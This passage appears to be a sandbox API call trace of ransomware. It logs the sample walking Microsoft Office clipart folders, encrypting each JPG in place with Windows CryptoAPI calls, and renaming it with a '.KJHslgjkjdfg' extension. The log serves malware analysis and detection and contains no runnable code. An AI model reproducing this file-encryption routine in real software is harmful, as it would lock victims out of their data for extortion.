returned 1 [0202.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x72f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.727] SetEndOfFile (hFile=0x130) returned 1 [0202.729] GetProcessHeap () returned 0x2ef0000 [0202.729] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.730] GetProcessHeap () returned 0x2ef0000 [0202.730] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.kjhslgjkjdfg")) returned 1 [0202.731] CloseHandle (hObject=0x130) returned 1 [0202.731] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff99200, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ff99200, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1 [0202.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.732] GetProcessHeap () returned 0x2ef0000 [0202.732] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.732] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.732] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0202.734] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.734] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.734] GetProcessHeap () returned 0x2ef0000 [0202.734] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.734] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.734] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.734] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.735] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.735] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.735] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.735] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.735] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.735] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.735] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x67a3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x67a3, lpOverlapped=0x0) returned 1 [0202.736] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x67b0, dwBufLen=0x67b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x67b0) returned 1 [0202.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.736] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x67b0, lpOverlapped=0x0) returned 1 [0202.737] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.737] SetEndOfFile (hFile=0x130) returned 1 [0202.739] GetProcessHeap () returned 0x2ef0000 [0202.739] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.739] GetProcessHeap () returned 0x2ef0000 [0202.739] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.kjhslgjkjdfg")) returned 1 [0202.740] CloseHandle (hObject=0x130) returned 1 [0202.740] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1 [0202.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.741] GetProcessHeap () returned 0x2ef0000 [0202.741] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.741] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.741] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0202.743] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.743] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.743] GetProcessHeap () returned 0x2ef0000 [0202.743] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.743] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.743] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.743] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.744] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.744] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.744] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.744] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.744] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.744] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.744] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5de2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5de2, lpOverlapped=0x0) returned 1 [0202.745] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5df0, dwBufLen=0x5df0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5df0) returned 1 [0202.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.745] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5df0, lpOverlapped=0x0) returned 1 [0202.745] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.746] SetEndOfFile (hFile=0x130) returned 1 [0202.747] GetProcessHeap () returned 0x2ef0000 [0202.747] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.747] GetProcessHeap () returned 0x2ef0000 [0202.747] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.747] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.kjhslgjkjdfg")) returned 1 [0202.748] CloseHandle (hObject=0x130) returned 1 [0202.748] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1 [0202.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.749] GetProcessHeap () returned 0x2ef0000 [0202.749] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.749] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.750] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0202.752] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.752] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.752] GetProcessHeap () returned 0x2ef0000 [0202.752] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.752] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.752] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.752] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.752] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.752] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.752] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.753] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.753] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.753] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.753] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b2a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5b2a, lpOverlapped=0x0) returned 1 [0202.754] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b30, dwBufLen=0x5b30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b30) returned 1 [0202.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.754] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5b30, lpOverlapped=0x0) returned 1 [0202.754] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.755] SetEndOfFile (hFile=0x130) returned 1 [0202.757] GetProcessHeap () returned 0x2ef0000 [0202.757] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.757] GetProcessHeap () returned 0x2ef0000 [0202.757] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.kjhslgjkjdfg")) returned 1 [0202.758] CloseHandle (hObject=0x130) returned 1 [0202.758] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1 [0202.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.759] GetProcessHeap () returned 0x2ef0000 [0202.759] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.759] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.759] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0202.762] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.762] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.762] GetProcessHeap () returned 0x2ef0000 [0202.762] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.762] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.762] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.762] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.762] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.762] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.762] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.762] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.762] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.762] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.762] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7d26, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7d26, lpOverlapped=0x0) returned 1 [0202.765] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7d30, dwBufLen=0x7d30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7d30) returned 1 [0202.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.766] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7d30, lpOverlapped=0x0) returned 1 [0202.766] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.766] SetEndOfFile (hFile=0x130) returned 1 [0202.768] GetProcessHeap () returned 0x2ef0000 [0202.768] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.768] GetProcessHeap () returned 0x2ef0000 [0202.768] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.kjhslgjkjdfg")) returned 1 [0202.770] CloseHandle (hObject=0x130) returned 1 